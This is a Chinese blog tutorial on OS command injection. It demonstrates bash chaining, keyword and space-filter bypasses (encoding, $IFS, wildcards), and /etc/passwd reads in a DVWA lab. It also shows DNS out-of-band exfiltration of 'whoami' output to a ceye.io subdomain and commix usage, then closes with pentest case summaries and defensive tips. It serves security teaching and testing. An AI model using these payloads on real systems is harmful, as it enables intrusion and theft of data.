常见操作系统命令注入思路

最新推荐文章于 2024-07-03 22:46:04 发布
最新推荐文章于 2024-07-03 22:46:04 发布
阅读量6.3k 收藏 18
点赞数 2
分类专栏： 测试思考与总结 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/jdhellfire/article/details/121969060
版权

常见操作系统命令注入思路

在这里插入图片描述

一.什么是命令注入：

命令注入：

OS command injection翻译过来是操作系统命令注入，它可以让攻击者可以在运行应用程序的服务器上执行任意的操作系统(Operating system)命令，并且通常会完全破坏应用程序及所有数据。攻击者通常可以利用OS命令注入漏洞来破坏托管基础结构的其它部分，利用信任机制将攻击转移到组织内的其它结构。

注入攻击的本质：

攻击者通过输入将精细准备的Payload，使得被攻击系统错误的将恶意代码/命令拼接至已有的命令/代码中进行执行。

二.命令注入的方法：

2.1命令注入的基本呈现形式

从DVWA靶场看看，命令注入的呈现形式：
在这里插入图片描述

|符号 拼接注入 命令arp -a，通过这种方式改变/扩展了被测对象的功能。攻击者通过这种方式获取被攻击对象的敏感信息，甚至完全控制被攻击对象。

其实从呈现形式上来看，命令注入不复杂也不难理解，核心就是利用特定的连接符，将攻击者注入的攻击命令拼接至已有的代码中触发执行：

<?php

if( isset( $_POST[ 'submit' ] ) ) {

	$target = $_REQUEST[ 'ip' ];

	// Determine OS and execute the ping command.
	if (stristr(php_uname('s'), 'Windows NT')) { 
		$cmd = shell_exec( 'ping  ' . $target );
		$html .= '<pre>'.$cmd.'</pre>';
	} else { 
		$cmd = shell_exec( 'ping  -c 3 ' . $target );
		$html .= '<pre>'.$cmd.'</pre>';
	}
}
?>

如上代码所示，攻击者输入的攻击代码会拼接到$target变量中，通过shell_exec函数触发执行。

2.2命令注入的基本姿势

前面聊到了命令注入的核心是拼接，故本章节重点介绍几种bash中常用的命令拼接的方式：

command1 & command2 及 command1; command2

先执行Command 1，不管是否成功，都会执行Command 2

kali@kali:~/test$ 111;uname -a
bash: 111：未找到命令
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux


kali@kali:~/test$ 111&uname -a
[5] 29294
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
bash: 111：未找到命令
[5]+  退出 127              111


kali@kali:~/test$ uname -a;cat /etc/passwd
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin



kali@kali:~/test$ uname -a&cat /etc/passwd
[5] 29308
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
kali@kali:~/test$ Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
command1 && command2

与的逻辑，先执行Command 1，执行成功后执行Command 2，否则不执行Command 2

kali@kali:~/test$ 1111&&uname -a
bash: 1111：未找到命令



kali@kali:~/test$ uname -a&&cat /etc/passwd
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
command1 | command2

command1、command2都会执行 command1的标准输出作为command2的标准输入


kali@kali:~$ cat /etc/passwd |wc -l
53
kali@kali:~$
command1 | | command2

或的逻辑，如果command1 执行成功，则不执行command2;如果command1执行失败，则执行command2：


kali@kali:~/test$ uname -a || cat /etc/passwd
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux

kali@kali:~/test$ 111 || cat /etc/passwd
bash: 111：未找到命令
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
2.3命令注入的Bypass技巧

命令注入作为常见的漏洞类型之一，注重应用安全的项目会添加一些过滤或者部署WAF来进行防御，本章节介绍一些基于 Linux bash的绕过技巧，并不完备，大家可以自行举一反三：

2.3.1关键字过滤bypass

有一定安全意识的项目会编写一些黑名单规则或基于字符串匹配对于用户输入的命令做一些过滤，但往往难以尽善尽美。基于这些手段，我们可以尝试如下bypass手段。

2.3.1.1 找替代命令bypass

找替代命令是最直接的绕过思路，拿最基本cat查看命令为例，如果被过滤我们可以找到如下替代命令：

cat:由第一行开始显示内容，并将所有内容输出
tac:从最后一行倒序显示内容，并将所有内容输出
more:根据窗口大小，一页一页的现实文件内容
less:和more类似，但其优点可以往前翻页，而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
tailf:类似于tail –f
paste:读取文件:
2.3.1.2 关键字拼接绕过

采取关键字拼接的方式进行绕过：

kali@kali:~$ a=ca;b=t;$a$b /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
2.3.1.3 编解码bypass

采取关键字动态编解码的方式进行绕过：

hex编解码绕过

kali@kali:~$ echo -e '\x63\x61\x74'
cat
kali@kali:~$ `echo -e '\x63\x61\x74' /etc/passwd`
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

base编解码绕过

kali@kali:~$ echo Y2F0Cg==|base64 -d
cat
kali@kali:~$ `echo Y2F0Cg==|base64 -d` /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2.3.1.4 通过特殊符号bypass

转义字符bypass:
命令关键字中增加转义\，不会起起到转义的效果。显式当字符串处理时会进行转义。

──(root💀bdba)-[/usr/bin]
└─# echo "\t"                                                                                                                                                                                                                                                                                                                     
┌──(root💀bdba)-[/usr/bin]
└─# echo \t  
t
                                                                                                                                                                   
┌──(root💀bdba)-[/usr/bin]
└─# ca\t "/etc/passwd"
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

/t 本应该为： 水平制表(HT) （跳到下一个TAB位置）

引号bypass:
在输入的命令中部分字符添加上’'或""，其命是等效的。


kali@kali:~$ 
kali@kali:~$ u'n'ame -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux

kali@kali:~$ un"a"me -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:~$ 

root@kali:/# u''name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux

root@kali:/# u""name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
root@kali:/#

通配符bypass
？或* 在bash中可以替代一个或多个字符。

kali@kali:/bin$ u?ame -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$ 


kali@kali:/bin$ cat /e?c/p*d
cat: /etc/pam.d: 是一个目录
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
2.3.1.5 shell 特殊变量bypass

$1、 2 、 2、 2、@

kali@kali:/bin$ u$1name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$ u$2name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$ u$@name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$
2.3.1.5 引入其他人为干扰bypass

将注入命令中插入一些无效的变量替换，人为的干扰字符串匹配过滤的规则：

kali@kali:/bin$ who`sadada`ami
bash: sadada：未找到命令
kali
kali@kali:/bin$ who$(sadada)ami
bash: sadada：未找到命令
kali
kali@kali:/bin$
2.3.2特殊符号过滤bypass
2.3.2.1空格过滤bypass

重定向符号绕过：

ali@kali:~$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin



root@kali:/home/kali# cat<>/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

shell内部域分隔符绕过：

root@kali:/home/kali# cat${IFS}/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

root@kali:/home/kali# cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Internal Field Separator （内部字段分隔符），是linux的环境变量，其默认值为“空格”
root@kali:/home/kali# IFS=:
root@kali:/home/kali# a=“hahaha:hehehe”
root@kali:/home/kali# echo $a
hahaha hehehe

2.3.2.2 拿来主义

从已有环境变量中扣出需要的字符：

gpadmin@cyberlabsz05-EC600G3-GE:~$ echo $HOME
/home/gpadmin
gpadmin@cyberlabsz05-EC600G3-GE:~$ echo ${HOME:0:1}
/
gpadmin@cyberlabsz05-EC600G3-GE:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

从已定义的环境变量中提取已经被过滤掉的字符

2.3.3命令长度限制bypass

一道 CISP-PTE 认证考试的真题还原,考试前序步骤省略，最终可以拿到如下代码进行审计：

<?php
show_source(__FILE__);
error_reporting(0);
$cmd = $_GET['cmd'];
echo '<br>'.strlen($cmd)'<br>';
if(isset($cmd) && (strlen($cmd)<=10))
{
	@exec($cmd);
}
echo $_SERVER['SERVER_ADDR'];
?>

这题明摆着告诉你是一道命令注入题，php的exec函数可以执行系统命令，但此处对于用户输入有长度限制需要绕过。

解决办法：

可以通过 >> 输出重定向，向一个.sh中多次追加写入绕过输入长度限制：

kali@kali:~$ echo 'cat /etc\' >> cmd.sh
kali@kali:~$ echo '/passwd' >> cmd.sh
kali@kali:~$ chmod +x cmd.sh
kali@kali:~$ ./cmd.sh
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync


kali@kali:~$ cat cmd.sh
cat /etc\
/passwd
kali@kali:~$
2.4注入点的探测及回显问题

命令注入攻击时执行结果往往不会直接返回，那么如何确认是否真的存在注入点？如何获取注入命令的信息反馈呢？

2.4.1重定向命令执行结果
gpadmin@cyberlabsz05-EC600G3-GE:~$ cat /etc/passwd > /tmp/passwd
gpadmin@cyberlabsz05-EC600G3-GE:~$ cat /tmp/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

输出重定向到文件需要考虑路径和文件的写入权限问题，通常/tmp 是对于所有用户都有读写权限的。另外可以考虑将注入命令回显信息，写入到某个log文件中，通过前端的log日志下载/查看功能获取命令注入回显。

2.4.2通过捕获ping包及时延判断注入点的存在

某路由器产品的诊断功能产品存在命令注入漏洞，但是后端代码对于回显内容进行了匹配和过滤，采用如下方法判断注入点的存在：
在这里插入图片描述

在这里插入图片描述

通过ping包和ping包之间的时延，判断拼接至被测对象的os 命令被执行，从而判断命令注入点的存在。

2.4.3 通过应用协议带外输出

命令执行结果，通过DNS查询带外输出举例：

http://ceye.io 注册拿到一个子域名：lblawe.ceye.io,注册号后如下图所示：
在这里插入图片描述

该平台可以记录DNS查询信息，借助此平台我们有机会，将命令执行的结果，通过外部平台查看到。假设，当前期待拿到被攻击对象whoami 命令的执行结果。我们采用如下的方式进行命令注入，触发DNS查询:


ping `whoami`.lblawe.ceye.io

如下图所示，whoami 命令的执行结果会通过 DNS log的形式记录在ceye.io站点：

在这里插入图片描述

如上图所示，whoami命令的执行结果 root，被当做DNS查询日志，记录在ceye.io站点中。

三.命令注入案例分析：

3.1测评工作中发现的命令注入问题的归纳

命令注入探索方式：
正向探索、反向探索、尝试直接复现

漏洞呈现形式：
产品配置滥用、产品功能滥用、对外接口滥用、组件遗留漏洞滥用、预埋后门被滥用

测试思维：

比较思维：寻找横向可替代资源
观察细节：控制台、日志的两面性；可测试性，让不可见变为可见。
识别可变化的事物:识别可变化的事物

参考《探索吧！深入理解探索式软件测试》

3.2测评工作中的典型命令注入漏洞分享

信息安全要求，与公司实际产品相关的漏洞细节不能呈现…

3.2.1 预埋后门被滥用案例

[某数据卡存在操作系统任意命令执行AT指令后门]（高危）

漏洞描述
逆向二进制文件，走查代码发现数据卡存在任意命令执行AT指令后门。

探索思路
反向探索：猜测（开发人员习惯）->审计,寻找匹配的代码段->实验，验证漏洞的存在。

从测试心理学的角度来说，一切好的测试都源于怀疑、猜测，假定缺陷/漏洞是存在的；而不像CI那样期待软件永远相安无事的运行下去…。

3.2.2 产品配置滥用案例分享_1

某 摄像头 [WEB UI 网络配置->NTP设置存在linux命令注入漏洞]（高危）

漏洞描述
摄像头 NTP协议功能配置存在linux命令注入漏洞。

探索思路
正向探索：猜测（产品实现方案）-> 基于实现方案的特征，尝试注入

省事的设计方案，往往给你埋下最多的麻烦。

3.2.3 产品配置滥用案例分享_2

某产品配置 管理->容灾复制->容灾复制计划 存在命令注入漏洞

漏洞描述
某产品配置->管理->容灾复制 功能接口 可以在 复制源路径 或 目的路径参数注入Shell命令实现越权

探索思路
正向探索：审计log打印->猜测功能的实现方式->实验，确认漏洞的存在。

不要让我知道得太多！

3.2.4 产品功能滥用案例分享_1

buffalo 路由器诊断功能命令注入漏洞

漏洞描述
buffalo 路由器网络诊断功能，由于后端对于用户输入的IP地址参数检查不严，导致命令注入

探索思路
正向探索：比较(相似的案例、相似的对外呈现)->直接复制经验，确认漏洞的存在->绕过限制成功利用。

跟学生时代做题一样，见得多做的多就会有更多的条件反射。

探索过程
https://blog.csdn.net/jdhellfire/article/details/121969416

3.2.5 产品功能滥用案例分享_2

某产品 补丁升级>篡改补丁包实现命令注入，越权创建管理员账户（高）

漏洞描述
补丁包没有签名及完整性检查。篡改补丁包实现命令注入可以越权创建管理员账户。

探索思路

反向探索：逆向->漫游文件和代码->敏锐的识别有风险的方案->实验和利用。

如果没有足够的防御意识，为用户提供方便和灵活性的的同时，也同样给攻击者大开方便之门。

3.2.5 产品功能滥用案例分享_3

某产品 版本升级功能，通过版本包文件名可以实现命令注入（中危）
漏洞描述
版本升级功能，upgrade 子程序在调用系统命令执行版本包解压时，对于文件名没有做合法性效验。可以通过版本包文件名实现命令注入。

探索思路
反向探索：代码逆向，搜索危险函数->猜测对应的产品功能->实验确认漏洞存在

不是只有web 才有命令注入…

3.2.6 对外接口滥用案例分享

某产品消息代理 工具check 消息接口存在命令注入漏洞（高）
漏洞描述
某产品消息代理 工具 消息接口存在危险的命令拼接，及root 权限bash命令执行。存在高危命令注入漏洞

探索思路
反向探索：找木桶短板->代码走查找危险函数->猜测对应的对外接口->构造消息验证漏洞的存在。

渗透测试不在于覆盖率多少产品模块，而在于找到木桶短板…

3.2.7 组件遗留漏洞滥用案例分享

某产品 OpenSSH组件存在命令注入漏洞（高危)
漏洞描述

某产品 OpenSSH组件版本为5.03.30，存在已知的CVE漏洞CVE-2020-15778，攻击者可以利用此漏洞实现命令注入。

探索思路
尝试直接复现:商用工具扫描->发现组件遗漏漏洞->找exp/poc直接尝试复现。

四.命令注入工具分享：

4.1 commix工具简介

commix

在这里插入图片描述

Commix(简写为[comm]和[i]njection e[x]ploiter)，是由Anastasios Stasinopoulos 编写的一个自动化工具，可以由web开发人员、渗透测试人员甚至安全研究人员使用，用于测试基于web的应用程序，以发现与命令注入攻击相关的bugs、错误或漏洞。通过使用该工具，可以很容易地在某个脆弱参数或HTTP头中发现和利用命令注入漏洞。

工具的指令参数很多，具体可使用help获取，这里不再详细讲述。提供几个重要的命令：

目标：

-u URL，—url = URL　　目标URL。

请求：
—data=DATA　　　　　　要通过POST发送的数据字符串。

—host=HOST 　　　　　 HTTP主机头。

—referer=REFERER 　　 HTTP Referer标头。

—user-agent=AGENT 　 HTTP用户代理头。

—random-agent　　　　使用随机选择的HTTP User-Agent头。

—cookie=COOKIE 　　 HTTP Cookie头。

—headers=HEADERS　 额外标头（例如「Header1：Value1 \ nHeader2：Value2」）。

—force-ssl　　　　　　强制使用SSL / HTTPS。

4.2 commix应用简介

通过 commix 工具自动注入DVWA靶场：

burpsuite 抓包拿到cookie和data:
在这里插入图片描述

构造命令，执行注入:

python commix.py --url="http://192.168.100.199/DVWA1/vulnerabilities/exec/" --data="ip=192.168.100.199&submit=submit" --cookie="security=low; PHPSESSID=206s7i424rtjsfdi1m0jjd5or0"

在这里插入图片描述

五.命令注入的防御Tips：

  1. 到目前为止防御OS命令注入攻击的有效方法是永远不要从应用程序代码中调用OS命令。在几乎每种情况下，都有使用更安全的平台API来实现所需功能的替代方法。

  2. 如果认为无法通过用户提供的输入来调用OS命令，则执行更强大的输入验证，有效的验证方法包括:

    ●根据输入值来对比白名单上的内容。

    ●验证它们的输入是否仅包含字母数字字符，不包含其它语法或者空格。

  3. 千万不用通过转义shell字符来清理输入。实际上很容易出现绕过。

  4. 对于操作系统busybox组件进行裁剪；去掉产品功能实现不需要的命令、功能模块。

  5. 为了减少命令注入带来的影响，不要轻易采用root权限启动应用。

  6. log、打印回显中，谨慎暴露产品实现细节信息，不要给攻击者更多的想象空间。

参考：

什么是OS命令注入，如何防止 ：
https://portswigger.net/web-security/os-command-injection

[工具] Commix ：
https://github.com/commixproject/commix

PayloadsAllTheThings：
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection

牛屁哄哄叫兽
关注
  • 2
    点赞
  • 踩
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
操作系统命令注入（OS command injection）学习笔记
汗的博客
05-06 5341
笔者burpsuite在线安全学院的OS command injection学习笔记。限于本人水平，笔记质量不是很高，假如有看到的大佬轻喷，很多地方是Google翻译的，还请多多包涵。 文章目录什么是OS命令注入？执行任意命令Lab: OS command injection, simple case有用的命令OS盲注使用时间延迟检测OS盲注Lab: Blind OS command inject...
常用的一些注入命令，方便一下大家哦
魔拉宝
08-07 572
//看看是什么权限的and 1=(Select IS_MEMBER(db_owner))And char(124)%2BCast(IS_MEMBER(db_owner) as varchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS(master))And char(124)%2
命令注入与代码执行详解
最新发布
2301_76964281的博客
07-03 854
例如，被过滤的命令是 cat，可在终端执行 echo 'cat' | base64 得到编码后的字符串 Y2F0Cg== ，然后执行 echo 'Y2F0Cg==' | base64 -d | command ，其中 command 为要执行的具体命令，如查看文件 test.txt 的内容，即 echo 'Y2F0Cg==' | base64 -d | test.txt。$@ 表示所有参数。需要注意的是，命令注入绕过的具体方法会受到目标系统的环境、应用程序的实现以及所施加的安全限制等多种因素的影响。
sql in 收集
jianghl_soft的专栏
06-06 457
1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0and 03.猜帐号数目 如果遇到0and 0and 14.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. and 1=(select count(*) from admin where len(*) >
什么是操作系统命令注入？
Loser5的博客
03-24 2121
什么是操作系统命令注入？ 操作系统命令注入（shell 注入）是一种 Web 安全漏洞，攻击者在运行应用程序的服务器上执行任意操作系统 命令，通常会完全破坏应用程序及其所有数据。很多时候，攻击者可以利用操作系统命令注入漏洞来破坏托管基础设施的其他部分，利用信任关系将攻击转向组织内的其他系统。 实验演示： 一.OS命令注入，简单案例 修改storeID参数，在数值后添加|whoami。 这里给出一些常用的系统命令（Linux+window） 二.具有时间延迟的盲操作系统命令注入 操作系统命令注入的许多实
命令注入
热门推荐
kuiguowei的博客
01-12 1万+
命令注入指的是，利用没有验证过的恶意命令或代码，对网站或服务器进行渗透攻击。 注入有很多种，并不仅仅只有SQL注入。比如： 命令注入(Command Injection)Eval 注入(Eval Injection)客户端脚本攻击(Script Insertion)跨网站脚本攻击(Cross Site Scripting, XSS)SQL 注入攻击(SQL injection)动态
MySQL Proxy（解决注入的另一思路）
09-14
SQL注入是一种常见的网络安全威胁，它利用不安全的用户输入来构造恶意的SQL命令，从而可能对数据库造成破坏。通过在MySQL Proxy中加载Lua脚本，可以在每个SQL查询或插入语句进入数据库之前进行安全检查。Lua是一种...
PostgreSQL注入-文件读取写入、命令执行的办法.pdf
10-13
在PostgreSQL环境中，攻击者还可以尝试执行操作系统命令，以此进一步提升攻击效果。 1. **利用libc中的system()函数** - **原理**：通过创建自定义函数调用libc中的`system()`函数，理论上可以执行任意命令。但是...
各种注入方式源码
10-24
2. 命令注入：这种攻击发生在应用程序将用户输入的数据作为操作系统命令的一部分执行时。例如，一个不安全的文件删除函数可能使用`system("rm " + fileName)`，如果`fileName`未被过滤，攻击者可以输入"../../../../...
代码审计思路
01-27
例如，如果用户数据未经验证或过滤直接用于数据库查询、系统命令执行或文件操作，那么就可能存在SQL注入、命令注入或文件包含漏洞。 其次，了解编程语言的特性和历史漏洞也很重要。某些特定的函数或功能因为过去...
分享一个简单的sql注入
09-09
SQL注入是一种常见的网络安全威胁，它利用了Web应用中对用户输入数据处理的不足，使得攻击者能够构造恶意的SQL语句，控制或篡改数据库中的数据。在这个分享中，我们将探讨一个简单的SQL注入实例，了解攻击者的思路...
4 OS command injection操作系统命令注入
(∪.∪ )...zzz的博客
04-29 903
4 OS command injection操作系统命令注入 目录4 OS command injection操作系统命令注入一、What is OS command injection?二、Executing arbitrary commandsLab: OS command injection, simple case三、 Useful commands In this section, we’ll explain what OS command injection is, describe how v
WEB安全基础入门—操作系统命令注入（shell 注入）
Eason_LYC安全白帽子的成长博客
06-09 1961
WEB安全基础入门—操作系统命令注入（shell注入） 欢迎关注订阅专栏！ WEB安全系列包括如下三个专栏： 《WEB安全基础-服务器端漏洞》 《WEB安全基础-客户端漏洞》 《WEB安全高级-综合利用》 知识点全面细致，逻辑清晰、结合实战，并配有大量练习靶场，让你读一篇、练一篇，掌握一篇，在学习路上事半功倍，少走弯路！ 欢迎关注订阅专栏！......
【burpsuite安全练兵场-服务端4】操作系统命令注入-5个实验（全）
12-31 7425
【BP靶场portswigger-服务端4-操作系统命令注入】5个实验-千文详细步骤
个人整理常用注入命令
l460602540的专栏
09-12 779
个人整理常用注入命令 我记性不好，所以把常用的注入代码记录下来，有点乱，但对我来说，还算很有用，希望大家也会喜欢！   //看看是什么权限的 and 1=(Select IS_MEMBER('db_owner')) And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--   //检测是
渗透测试-命令执行注入
lza20001103的博客
07-20 3222
渗透测试-命令执行注入
WEB安全基础入门—操作系统命令注入（shell 注入）_文件参数 shell 命令注入
2401_84186067的博客
04-30 730
攻击者可在服务器端执行任意系统（OS）命令，获取敏感数据。通常攻击者会尝试利用系统内部的信任关系，将攻击转移到系统内的其他系统，获取更大权限。
命令注入总结
weixin_44576725的博客
12-15 6886
文章目录命令注入总结原理常见的危险函数PHPsystemexecpassthrushell_execpopenproc_open反引号Pythonsystempopensubprocess.call/subprocess.runspawnJavajava.lang.Runtime.getRuntime().exec(command)Linux下常用的符号特殊符号通配符常用绕过命令分隔与执行多条命令空格绕过绕过 escapeshellcmd黑名单绕过无参数rce过滤字母或数字常用读取文件方式常用读取目录方式利
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值